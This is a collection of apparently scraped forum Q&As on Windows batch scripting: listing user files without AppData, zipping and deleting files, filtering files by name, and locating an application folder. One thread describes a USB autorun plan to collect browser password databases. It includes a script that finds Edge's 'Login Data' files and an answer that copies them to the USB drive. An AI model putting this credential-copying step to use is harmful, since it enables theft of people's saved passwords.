How to search all users' folders and list the files found (with extensions) in an output text file using .bat (cmd) without including data from AppData folders?
Let's say I have user Jenny and user Tommy. And of course within those users there are folders such as desktop, documents, videos, etc.
How can I create a CMD (or PowerShell) script that will search through each users' folders like desktop, documents, videos, etc., BUT prevent the script from pulling results found in the AppData folder.
I was trying to use this code to search each user, but the results were being watered down by what was found in each users AppData folders.
I used %~dp0Files.txt to have the results exported to the desktop where I was executing the .bat from.
cd..
cd..
cd Users
dir /s /p /b >> %~dp0Files.txt
pause
I appreciate any advice. Even if there is a different script file that is better to use for this task.
You could use the command line:
dir "%USERPROFILE%\..\*" /A-D /B /S | %SystemRoot%\System32\findstr.exe /I /L /V /C:"\\AppData\\" >"%USERPROFILE%\Desktop\Files.txt"
The command DIR searches
from parent directory of the current user's profile directory being usually C:\Users on Windows Vista and later Windows versions
for just files because of /A-D (not attribute directory)
recursive in this directory and all subdirectories because of /S and
list them in bare format because of /B which means just the file names with full path.
This output is redirected to FINDSTR which searches in the lines
case-insensitive because of /I and
literally because of /L
for the string \AppData\
and outputs all lines NOT containing this string because of /V (inVerted result).
The backslash character is the escape character in search strings.
Therefore each backslash to find literally must be escaped with one more backslash.
It is possible to specify multiple search strings which are OR combined by using multiple /C:"..." arguments on FINDSTR command line. So it is easily possible to filter out more subdirectories.
The filtered output of FINDSTR is redirected into file Files.txt on desktop of current user always created new on each execution of this command line.
For understanding the two used commands and how they work, open a command prompt window, execute there the following commands, and read entirely the help displayed for each command very carefully.
dir /?
findstr /?
And read the Wikipedia articles about Windows Environment Variables.
Thanks to Mofi's help I was able to also add an exclusion for the All Users folder which was also watering down the results.
My final coded ended up being:
:ScanUsers
#echo off
cls
ECHO Searching users' files
dir "%USERPROFILE%\..\*" /A-D /B /S | %SystemRoot%\System32\findstr.exe /I /L /V /C:"\\AppData\\" >"%~dp0Output\FilesSearch.txt"
start "%~dp0Output\FilesSearch.txt"
wscript.exe "%~dp0Extra\Here is a list of files.vbs"
Timeout 2
goto start
%~dp0Output just directs the text document to be saved into a specific file on the desktop
Related
If you don't want to read the whole story, you can skip to the next paragraph.
So I found a YouTube video of how to make file in usb drive to autorun when the usb is inserted. Then I found and program that shows you all passwords saved in the browser (these passwords are stored in a database file on your computer). So the program gets the file with the passwords and writes them on another file. But the problem is that the antivirus is blocking it every time. It's saying that there is unwanted app and I have to allow it.
So I started writing my own code:
#echo off
setlocal
rem change to the correct directory
cd /d C:\Users\MyName\AppData\Local\Microsoft\Edge
rem count the files
dir /b "Login Data" /s 2> nul | find "" /v /c > %temp%\count
set /p _count=<%temp%\count
rem cleanup
del %temp%\count
rem output the number of files
echo Files found : %_count%
rem list the files
echo Files Paths :
dir /b "Login Data" /s > D:\Folder\dir.txt
pause
endlocal
So what this does is finding all the files with specific name and writes their paths to a txt file. But I can't seem to understand how to make it reading these paths from the file and copying the files to the usb drive.
The count and pause functions are just to know if the program is really finding all the files called "Login Data"
I watched YouTube tutorials, searched in google, asked friends and nothing worked.
You could use the for command to handle each file found by the dir command. Note the for documentation (for /?), %%i will only work in batch files, at command line you would use %i instead.
for /f %%i in ('dir /b "Login Data" /s') do copy "%%i" "f:\path\"
f:\path\ would be the target path at the USB drive.
On the other hand you do not need the dir command as the copy command can filter by itself. Bye the way I do not understand the filter Login Data as is seems to be only one file. Eg. dir "Login Data*" would result in a list of files starting with "Login Data".
what im looking for is a .bat file code to zip files individually in all subfolders in the current folder and then delete the of files after, to exclude already zipped/compressed files, what i dont want is folders to be zipped and i want the files to keep there name when zipped
i have a bunch of folders/files and the only code i found
#ECHO OFF
FOR %%i IN (*.*) DO (
ECHO "%%i" | FIND /I "batch zip files.bat" 1>NUL) || (
"c:\Program Files\7-Zip\7z.exe" a -tzip "%%~ni.zip" "%%i"
if %ERRORLEVEL% == 0 del "%%i"
)
)
zips all files in the current directory and doesnt touch subfolders
i'd appreciate it if anyone can do this for me as i can save a ton of space with all files zipped
The first issue you have with your provided code is that your For loop is only parsing files in the current directory, there is no recursion into subdirectories. To parse files within the subdirectories, I'd advise that you use a For /F loop, with the Dir command using its /B and /S options. I would also advise that you include the attribute option, /A, which will include every item, then omit those which you're not interested in. For instance, it's unlikely that you want to zip the directories, hidden files, reparse points, or system files. You can do that by excluding those attributes, /A:-D-H-L-S. To learn more about the For command, and the Dir command, open a Command Prompt window, type for /?, and press the ENTER key. You can then do the same for the Dir command, i.e for /?. As you have not defined a working directory at the start of your script, it will run against every file and directory in whatever is current at the time you run it. Because your code has a line excluding a file named batch zip files.bat, I'm going to assume that is the name of your running script, and that your intention is to therefore run the script against everything in the tree rooted from the same location as the batch file itself. To ensure that is always the case, for safety, I've defined that directory as the current directory from the outset, using the CD command, CD /D "%~dp0". %0 is a special batch file argument reference to itself, to learn more about this please take a look at the output from both call /?. You can also learn about the CD command entering cd /?, in a Command Prompt window too. To also omit your batch file, as you don't want it to be zipped and deleted, I've piped the results from the Dir command through FindStr, printing only items which do not exactly match the case insensitive literal string %~f0 (expanding to the full path of the batch file itself). Additionally, I've piped those results through another findstr.exe command to omit any files already carrying a .zip extension, as there's no point in zipping files which already zip files. (Please note however, that for more robust code, you should really check that those are zip archives and not just files carrying a misleading extension). The results from those commands are then passed one by one to the Do portion which includes your 7z.exe command. I've assumed at this stage, that your intention was to save the zipped archives to the same location as the originating files. To do that I've used variable expansion on %%G to stipulate its directory, path, and name, %%~dpnG, (see the usage information under for /? to recap). Upon successful completion of the archiving process, the original file will be deleted, to do that I appended the -sdel option to your original command string. Please be aware that you may want to include additional options, should you wish to update existing zip files etc. (use "%ProgramFiles%\7-Zip\7z.exe" -? in a Command Prompt window to see them). As I've not mentioned it previously, at the beginning of the script, I made sure that extensions were enabled. Whilst it is the default option, it's safer to be sure, as variable expansion and the commands CD, and For can be affected, if they're not.
Here's the code as explained above:
#Echo Off
SetLocal EnableExtensions
CD /D "%~dp0"
For /F "EOL=? Delims=" %%G In ('Dir "*" /A:-D-H-L-S /B /S 2^> NUL ^|
%SystemRoot%\System32\findstr.exe /I /L /V /X "%~f0" ^|
%SystemRoot%\System32\findstr.exe /E /I /L /V ".zip"'
) Do "%ProgramFiles%\7-Zip\7z.exe" a -tzip "%%~dpnG.zip" "%%G" -sdel
Looking at your question, which has changed from what you'd asked initially, you appear to not be interested in the files of the batch file directory any more, "zip files individually in all subfolders in the current folder". For that reason, I've provided the following alternative, methodology.
The difference is that I first of all use a For loop to include only directories in the current working location, /A:D-H-L-S, before running the same method used in my previous example, but with one difference. As we're now no longer zipping files in the current working directory, we can remove the findstr.exe command filtering out the running batch file:
#Echo Off
SetLocal EnableExtensions
CD /D "%~dp0"
For /F "EOL=? Delims=" %%G In ('Dir "*" /A:D-H-L-S /B 2^> NUL'
) Do For /F "EOL=? Delims=" %%H In ('Dir "%%G" /A:-D-H-L-S /B /S 2^> NUL ^|
%SystemRoot%\System32\findstr.exe /E /I /L /V ".zip"'
) Do "%ProgramFiles%\7-Zip\7z.exe" a -tzip "%%~dpnH.zip" "%%H" -sdel
Please be aware, that my answers above are to essentially correct your code attempt, and not a personal recommendation for speed, or in performing the task laid out in your question. Additionally, I have no idea what will happen if any of those files are in use/locked, and have made no attempt at checking for such scenarios.
I'm making a simple batch script to process a large set of files and delete all I don't want. I want about 10% of the files and they all have certain tags in their names, lets say they contain apple, orange or pear. As there are so many files I want deleted, it would be quite time consuming to construct a FOR loop such as:
#echo off
pause
for /R %%i in ([the list of names of the files I don't want]) do del %%i
pause
So I was wondering if it is possible to code it such that it deletes all files which don't have names containing apple, orange or pear?
In other words all files should be deleted not containing in its name one of those 3 words.
I'm using a FOR loop because the files are nested within lots of subdirectories and I would like to preserve this structure after the unwanted files have been deleted.
You can use this batch file containing (more or less) just one command line:
#echo off
for /F "delims=" %%I in ('dir * /A-D /B /S 2^>nul ^| %SystemRoot%\System32\findstr.exe /I /R /V /C:"apple[^\\]*$" /C:"orange[^\\]*$" /C:"pear[^\\]*$"') do ECHO del "%%I"
This batch code does not really delete files because of command ECHO before del at end of the command line. Run this batch file from within a command prompt window with current directory being the root of the directory tree on which to delete unwanted files and verify the output. Then remove ECHO and run the batch file once again.
The command DIR searches because of /S in current directory and all subdirectories only for files because of /A-D (not directory attribute) matching the wildcard pattern * with output in bare format because of /B which means the output contains just the names of all found files with full path.
DIR outputs an error message to handle STDERR if it can't find any file. This error message is suppressed by redirecting it to device NUL with 2>nul. The redirection operator > must be escaped here with caret character ^ to be first interpreted as literal character on parsing the FOR command line by Windows command interpreter.
The output of DIR to handle STDOUT is piped with | to standard console application FINDSTR which searches in all lines case-insensitive because of /I for the regular expression strings because of /R specified with /C:. The redirection operator | must be escaped here also with ^.
An OR expression is not supported by FINDSTR like it is by other applications with regular expression support. But it is possible to specify multiple search strings as done here which are all applied on each line of the text to process one after the other until a positive match occurs or there is no more search string. That is a classic OR.
The regular expression word[^\\]*$ means:
word ... There must be found word (case-insensitive).
[^\\]* ... Find 0 or more characters NOT being a backslash.
$ ... The matching string must be found at end of line.
The regular expression is used to get a positive match only for lines on which the file name contains either apple OR orange OR pear, but NOT the file path.
But there is one more FINDSTR option: /V. This option inverts the result output to handle STDOUT. So output are the lines on which none of the 3 regular expressions produce a positive match.
The command FOR processes each line output by FINDSTR used as negative filter for output of DIR and runs for each line the command DEL respectively ECHO without splitting the line up into space/tab separated strings because of delims=.
And that's it.
It is necessary to prevent the batch file from deletion if being stored in the directory tree processed by command DIR. This can be achieved most easily with setting read-only attribute on batch file as command DEL does not delete files with read-only attribute set.
Example:
#echo off
rem Prevent batch file from deletion by setting read-only attribute on batch file.
%SystemRoot%\System32\attrib.exe +r "%~f0"
for /F "delims=" %%I in ('dir * /A-D /B /S 2^>nul ^| %SystemRoot%\System32\findstr.exe /I /R /V /C:"apple[^\\]*$" /C:"orange[^\\]*$" /C:"pear[^\\]*$"') do del "%%I"
rem It is safe to remove read-only attribute from batch file.
%SystemRoot%\System32\attrib.exe -r "%~f0"
The batch code above has no ECHO before command del and therefore really deletes files on execution.
For understanding the used commands and how they work, open a command prompt window, execute there the following commands, and read entirely all help pages displayed for each command very carefully.
attrib /?
del /?
dir /?
echo /?
findstr /?
for /?
rem /?
Read also the Microsoft article about Using Command Redirection Operators for an explanation of | and 2>nul.
EDIT: To clarify what I'm looking to do is move a few files into a data folder of an application. The application is installed into Program Files but it keeps data inside app data. The folder name looks something like this
76053ADAJSQDUC4975
Problem is that it's unique to every instance of the application installed and for every computer that will be using this batch. So I'm in the directory and it has
1AKDHCI4985HF55GHJKB G5586HJFRUK56885KOQQ
The only way to identify the folders is by a .txt file inside each one called
origin.txt
that shows the file path to the applications installation directory (C:/Program Files(x86)/********) on one line.
I figured I can use a for to loop through, find the the file, and read it. What I don't know how to do, is find the right file, and cd to its directory. The second problem is since this batch file will be used by multiple users, not all of their installation paths are the same. So inside .txt it could be C:/, D:/, Program Files or Program Files(x86) so the only thing useful to me is the last several words. How would I go about being selective like that.
I'm currently traveling so can't answer right away but would appreciate if you guys help me out or point me in the right directions. Thanks
First, if the application is installed with an installer which adds something to Windows registry for knowing itself on next run (update/upgrade/uninstall) which version of the application is already installed and into which directory if installed at all, it is better to evaluate this information in registry instead of searching around in file system. See my answer on Locate if the program exists and set a custom variable in batch windows.
Second, with assuming text file origin.txt can be found anywhere within application data directory of current user containing only once (or last) the string :\ as part of the directory with the program files of the application, the following batch code could be used to get the directory path and make it the current directory.
#echo off
set "ApplicationDirectory="
for /F "delims=" %%I in ('dir /A-D /B /S "%APPDATA%\origin.txt" 2^>nul') do (
for /F "delims=" %%D in ('%SystemRoot%\System32\findstr.exe /C:":\\" "%%~I" 2^>nul' ) do (
if exist "%%~D" (
set "ApplicationDirectory=%%~D"
goto ChangeDirectory
)
)
)
echo Could not determine directory of application.
goto :EOF
:ChangeDirectory
cd /D "%ApplicationDirectory%"
echo Directory is: %ApplicationDirectory%
set "ApplicationDirectory="
The first FOR loop uses command DIR to search in all subdirectories of user related application data directory for the file origin.txt. The inner FOR loop is processed if there is at least one such file found.
The inner FOR loop calls FINDSTR to search in found origin.txt for all lines containing the literal string :\ and processes all found lines.
For each line returned by FINDSTR the inner FOR loop checks if there is a directory (or file) using the entire string of the line containing :\.
Both loops are exited immediately on a positive check on existence of directory (or file) with a jump to label ChangeDirectory with the commands to switch the current directory independent on current drive and echoing the found application directory.
For understanding the used commands and how they work, open a command prompt window, execute there the following commands, and read entirely all help pages displayed for each command very carefully.
cd /?
dir /?
findstr /?
for /?
goto /?
if /?
set /?
Note: I strongly recommend to run FINDSTR with a better search string or perhaps even a regular expression than just :\ if file origin.txt could contain multiple paths.
I ended up using
set "ApplicationDirectory="
for /r "%appdata%" %%a in (origin.txt*) do find "thewordsiwaslookingfor" <"%%a" >nul && set "ApplicationDirectory=%%~dpa"
Then I used ApplicationDirectory to be able to move some files into that directory.
Which worked perfectly, for what I was trying to do.
I am having a problem on running a script to create empty files in a loop.
This is what have done so far:
#echo off
for /l %%a (1;1;20) do (echo m> ".mp4" c:\test)
pause
exit
Basically I have twenty names in a file on my desktop and I intend to create them as empty *.mp4 files in folder c:\test with the command echo m> .mp4. When I run the code above, it does not seem to work.
The following FOR loop can be used in the batch file to create empty files 1.mp4, 2.mp4, 3.mp4, ..., 20.mp4 in directory C:\test as suggested by rojo:
for /L %%I in (1,1,20) do type NUL >"C:\test\%%I.mp4"
And the next FOR loop can be used in the batch file to read the file names for the empty *.mp4 files to create from a list file on Windows desktop of current user as also suggested by rojo:
for /F "usebackq delims=" %%I in ("%USERPROFILE%\Desktop\List of Names.txt") do type NUL >"C:\test\%%I.mp4"
For understanding the used commands and how they work, open a command prompt window, execute there the following commands, and read entirely all help pages displayed for each command very carefully.
for /?
type /?
Further the Microsoft article Using command redirection operators should be read explaining the redirection operator > and the SS64 page about NUL (null device).